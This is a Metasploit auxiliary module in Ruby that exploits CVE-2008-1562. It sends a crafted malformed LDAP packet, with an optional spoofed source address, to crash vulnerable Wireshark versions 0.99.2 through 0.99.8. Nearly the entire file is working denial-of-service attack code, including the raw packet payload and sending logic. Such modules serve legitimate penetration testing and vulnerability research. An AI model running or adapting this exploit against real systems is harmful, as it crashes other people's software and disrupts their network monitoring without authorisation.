##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Capture
	include Msf::Auxiliary::Dos

	def initialize
		super(
			'Name'        => 'Wireshark LDAP dissector DOS',
			'Description' => %q{
					The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers
					to cause a denial of service (application crash) via a malformed packet.
			},
			'Author'      => ['MC'],
			'License'     => MSF_LICENSE,
			'Version'     => '$Revision$',
			'References'  =>
				[
					[ 'CVE', '2008-1562' ],
					[ 'OSVDB', '43840' ],
				],
			'DisclosureDate' => 'Mar 28 2008')

		register_options([
			OptInt.new('RPORT', [true, 'The destination port', 389]),
			OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
		], self.class)

		deregister_options('FILTER','PCAPFILE')
	end

	def run

		open_pcap

		print_status("Sending malformed LDAP packet to #{rhost}")

		m = Rex::Text.rand_text_alpha_lower(3)

		p = PacketFu::TCPPacket.new
		p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
		p.ip_daddr = rhost
		p.tcp_ack = rand(0x100000000)
		p.tcp_flags.syn = 1
		p.tcp_flags.ack = 1
		p.tcp_dport = datastore['RPORT'].to_i
		p.tcp_window = 3072
		p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
		p.recalc
		capture_sendto(p, rhost)

		close_pcap

	end

end